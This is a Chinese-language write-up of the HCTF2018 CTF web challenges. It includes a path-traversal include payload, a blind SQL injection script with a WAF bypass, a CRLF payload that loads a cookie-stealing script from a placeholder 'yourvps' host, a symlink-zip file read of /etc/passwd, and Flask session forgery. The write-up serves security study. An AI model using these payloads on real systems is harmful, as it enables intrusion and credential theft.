文章首发于安全客:HCTF2018-WEB-WP 良心比赛,这次的web题质量很高,做的很爽,跟着Delta的师傅们也学到了不少东西,发现自己还是tcl跟大佬们差得很远,只能跟着复现wp。 [toc]
Warmup 参考:https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/ 根据提示找到source.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php class emmm { public static function checkFile (&$page ) { $whitelist = ["source" =>"source.php" ,"hint" =>"hint.php" ]; if (! isset ($page ) !is_string($page )) { echo "you can't see it" ; return false ; } if (in_array($page , $whitelist )) { return true ; } $_page = mb_substr( $page , 0 , mb_strpos($page . '?' , '?' ) ); if (in_array($_page , $whitelist )) { return true ; } $_page = urldecode($page ); $_page = mb_substr( $_page , 0 , mb_strpos($_page . '?' , '?' ) ); if (in_array($_page , $whitelist )) { return true ; } echo "you can't see it" ; return false ; } } if (! empty ($_REQUEST ['file' ]) && is_string($_REQUEST ['file' ]) && emmm::checkFile($_REQUEST ['file' ]) ) { include $_REQUEST ['file' ]; exit ; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />" ; } ?>
要使emmm::checkFile($_REQUEST['file'])
返回true,可以利用?截取hint.php,然后利用/使hint.php?成为一个不存在的目录,最后include利用../../跳转目录读取flag。 payload:index.php?file=source.php?/../../../../../../../../../../../ffffllllaaaagggg
或者index.php?file=hint.php?/../../../../../../../../../../../ffffllllaaaagggg
。
kzone 这道题做的是真爽 打开题目链接发现会跳转到qq登陆的页面。 抓包把响应包中的location删掉,可以发现一个钓鱼页面 扫目录发现这个钓鱼站的www.zip
备份文件还有后台管理页面admin/login.php
。 数据库文件中的admin密码尝试登陆后台无果 对这两个登陆页面的源码2018.php
和login.php
进行审计。 都包含了./include/common.php
这个文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting(0 ); header('Content-Type: text/html; charset=UTF-8' ); define('IN_CRONLITE' , true ); define('ROOT' , dirname(__FILE__ ).'/' ); define('LOGIN_KEY' , 'abchdbb768526' ); date_default_timezone_set("PRC" ); $date = date("Y-m-d H:i:s" );session_start(); include ROOT.'../config.php' ;if (!isset ($port ))$port ='3306' ;include_once (ROOT."db.class.php" );$DB =new DB($host ,$user ,$pwd ,$dbname ,$port );$password_hash ='!@#%!s!' ;require_once "safe.php" ;require_once ROOT."function.php" ;require_once ROOT."member.php" ;require_once ROOT."os.php" ;require_once ROOT."kill.intercept.php" ;?>
里面的safe.php
会对请求的get,post,cookie
进行过滤。
1 2 3 4 5 6 7 8 <?php function waf ($string ) { $blacklist = '/unionasciimidleftgreatestleastsubstrsleeporbenchmarklikeregexpif=-<>\#\s/i' ; return preg_replace_callback($blacklist , function ($match ) { return '@' . $match [0 ] . '@' ; }, $string ); }
并且username和password都经过了addslashes
函数转义,不存在宽字节注入,无法逃逸掉单引号。 大师傅提示member.php
中json反序列化存在注入点。 但是进入member.php
的前提是IN_CRONLITE=1
,所以要通过common.php
进入member.php
,但是common.php
里面把get,post,cookie
的内容给waf了。 但是我发现这里存在弱类型比较
1 2 3 4 $admin_pass = sha1($udata ['password' ] . LOGIN_KEY);if ($admin_pass == $login_data ['admin_pass' ]) { $islogin = 1 ; }
password是从$udata
中获取的,不需要已知。尝试构造login_data={"admin_user":"admin","admin_pass":1}
,对1所在的位置进行爆破,当admin_pass=65时,可以绕过,但是并不能登陆进去,可能是没有写入cookie,因此放弃了这个思路。 所以只能从绕waf入手了,大师傅提示jsondecode会解编码 参考:http://blog.sina.com.cn/s/blog_1574497330102wruv.html 这里的cookie参数是先经过waf后被json解码的,因此可以用js编码绕过waf,对cookie中的admin_user
进行注入发现可以注入。 这里踩了个坑,python3会对unicode编码自动解码,需要转义一下,python2不需要。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import requestsimport stringurl = 'http://kzone.2018.hctf.io/include/common.php' str1 = string.ascii_letters+string.digits+'{}!@#$*&_,' def check (payload ): cookie={ 'PHPSESSID' :'8ehnp28ccr4ueh3gnfc3uqtau1' , 'islogin' :'1' , 'login_data' :payload } try : requests.get(url,cookies=cookie,timeout=3 ) return 0 except : return 1 result='' for i in range (1 ,33 ): for j in str1: payload = '{"admin_user":"admin\'/**/and/**/\\u0069f(\\u0061scii(\\u0073ubstr((select/**/F1a9/**/from/**/F1444g),%s,1))\\u003d%s,\\u0073leep(4),1)/**/and/**/\'1","admin_pass":"123"}' % (str (i),ord (j)) if check(payload): result += j break print (result)
admin 源码藏在更改密码页面,23333。做了好久才发现。 源码里有一个脚本,可以知道服务器每30秒会重置一次数据库。 简单的flask框架,对路由routes.py审计 注册,登陆,更改密码都用到了strlower()这个函数。 接下来的操作参考Unicode安全 注册的用户名经过strlower后才与已有的用户名进行比较。 在change密码这里,更改密码之前又经过了一次strower 注册一个ᴬdmin
用户,登陆可以看到第一次strower把ᴬdmin
变成了Admin,与admin不同所以注册成功。 然后更改密码,这里是第二次strower操作,Aadmin
会变成admin
,最终更改的是admin
的密码。 最后退出,再用正常的admin登陆即可
bottle 参考P牛写的:Bottle HTTP 头注入漏洞探究 首先在注册和登陆处发现CLRF 第一天的响应包 第二天的响应包 刚开始的时候,CSP是在响应包的上面的,需要想办法绕过CSP。最后伟哥告诉我那个hint1不是机器人访问的crontab,是bottle这个框架重启的crontab。bottle这个框架好像有一个特性,每次重启的时候可以bypass掉CSP。但是出题人好像第二天发现这个bypass思路自己都复现不了,所以就把CSP设置到响应包下面了。 接下来就简单了,只需要绕过302跳转就可以打到cookie。因为302的时候不会xss。利用<80端口可以绕过302跳转。可以在浏览器手动试一下。 80端口的时候 22 端口的时候,这个时候手动访问可以看到打到了cookie。 所以拿着下面这个payload就可以打到cookie了。 http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:20/%0d%0aContent-Length:%2065%0d%0a%0d%0a%3Cscript%20src=http://yourvps/myjs/cookie.js%3E%3C/script%3E
改cookie登陆
hide and seek 软连接任意文件读取参考:一个有趣的任意文件读取
1 2 ln -s /etc/passwd link zip -y test.zip link
提示了docker,尝试读取/proc/self/environ
中的环境变量。
1 UWSGI_ORIGINAL_PROC_NAME =/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=c5 a8715244 dbSHLVL=0 PYTHON_PIP_VERSION=18 .1 HOME=/rootGPG_KEY=0 D96 DF4 D4110 E5 C43 FBFB17 F2 D347 EA6 AA65421 DUWSGI_INI=/app/it_is_hard_t0 _guess_the_path_but_y0 u_find_it_5 f9 s5 b5 s9 .iniNGINX_MAX_UPLOAD=0 UWSGI_PROCESSES=16 STATIC_URL=/staticUWSGI_CHEAPER=2 NGINX_VERSION=1 .13 .12 -1 ~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0 .2 .0 -1 ~stretchLANG=C.UTF-8 SUPERVISOR_ENABLED=1 PYTHON_VERSION=3 .6 .6 NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80 STATIC_INDEX=0 PWD=/app/hard_t0 _guess_n9 f5 a95 b5 ku9 fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0
发现ini文件/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
,继续读取 找到了
1 [uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app
继续读/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from flask import Flask,session,render_template,redirect, url_for, escape, request,Responseimport uuidimport base64import randomimport flagfrom werkzeug.utils import secure_filenameimport osrandom.seed(uuid.getnode()) app = Flask(__name__) app.config['SECRET_KEY' ] = str (random.random()*100 ) app.config['UPLOAD_FOLDER' ] = './uploads' app.config['MAX_CONTENT_LENGTH' ] = 100 * 1024 ALLOWED_EXTENSIONS = set (['zip' ]) def allowed_file (filename ): return '.' in filename and \ filename.rsplit('.' , 1 )[1 ].lower() in ALLOWED_EXTENSIONS @app.route('/' , methods=['GET' ] ) def index (): error = request.args.get('error' , '' ) if (error == '1' ): session.pop('username' , None ) return render_template('index.html' , forbidden=1 ) if 'username' in session: return render_template('index.html' , user=session['username' ], flag=flag.flag) else : return render_template('index.html' ) @app.route('/login' , methods=['POST' ] ) def login (): username=request.form['username' ] password=request.form['password' ] if request.method == 'POST' and username != '' and password != '' : if (username == 'admin' ): return redirect(url_for('index' ,error=1 )) session['username' ] = username return redirect(url_for('index' )) @app.route('/logout' , methods=['GET' ] ) def logout (): session.pop('username' , None ) return redirect(url_for('index' )) @app.route('/upload' , methods=['POST' ] ) def upload_file (): if 'the_file' not in request.files: return redirect(url_for('index' )) file = request.files['the_file' ] if file.filename == '' : return redirect(url_for('index' )) if file and allowed_file(file.filename): filename = secure_filename(file.filename) file_save_path = os.path.join(app.config['UPLOAD_FOLDER' ], filename) if (os.path.exists(file_save_path)): return 'This file already exists' file.save(file_save_path) else : return 'This file is not a zipfile' try : extract_path = file_save_path + '_' os.system('unzip -n ' + file_save_path + ' -d ' + extract_path) read_obj = os.popen('cat ' + extract_path + '/*' ) file = read_obj.read() read_obj.close() os.system('rm -rf ' + extract_path) except Exception as e: file = None os.remove(file_save_path) if (file != None ): if (file.find(base64.b64decode('aGN0Zg==' ).decode('utf-8' )) != -1 ): return redirect(url_for('index' , error=1 )) return Response(file) if __name__ == '__main__' : app.run(host='127.0.0.1' , debug=True , port=10008 )
尝试读取flag.py,且没有flag.pyc 读取index.html发现只有admin可以看到flag
1 2 3 4 {% if user == 'admin' %} Your flag: <br> {{ flag }} {% else %}
且无法用admin登陆,想到需要伪造session。 随机数种子由uuid.getnode()获得为固定mac地址
1 2 random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random()*100 )
读取mac地址/sys/class/net/eth0/address
1 2 3 4 12:34:3e:14:7c:62 >>> 0x12343e147c62 20015589129314
从开始读取到的环境变量里面知道python版本PYTHON_VERSION=3.6.6
python3下用上面的随机数种子本地生成admin的session。 更改session即可登陆admin获得flag。
game 神注入,思路如下 首先知道flag.php只有admin才能访问,提示注入,所以这道题应该就是要注入出admin密码并登陆。 http://game.2018.hctf.io/web2/user.php?order=password
可以根据密码进行排序 我们可以不断注册新用户,密码逐位与admin的密码比较,最最终比较出来admin密码。 且从order=id
知道order by
为降序排列 比如注册一个密码为d的用户 order by password
排序 发现它在admin下面 再注册一个密码为e的用户 发现他在admin上面 由此可以推算出admin密码第一位是d,按照此原理,逐位得到完整的admin密码为dsa8&&!@#$%^&d1ngy1as3dja
登录访问flag.php即可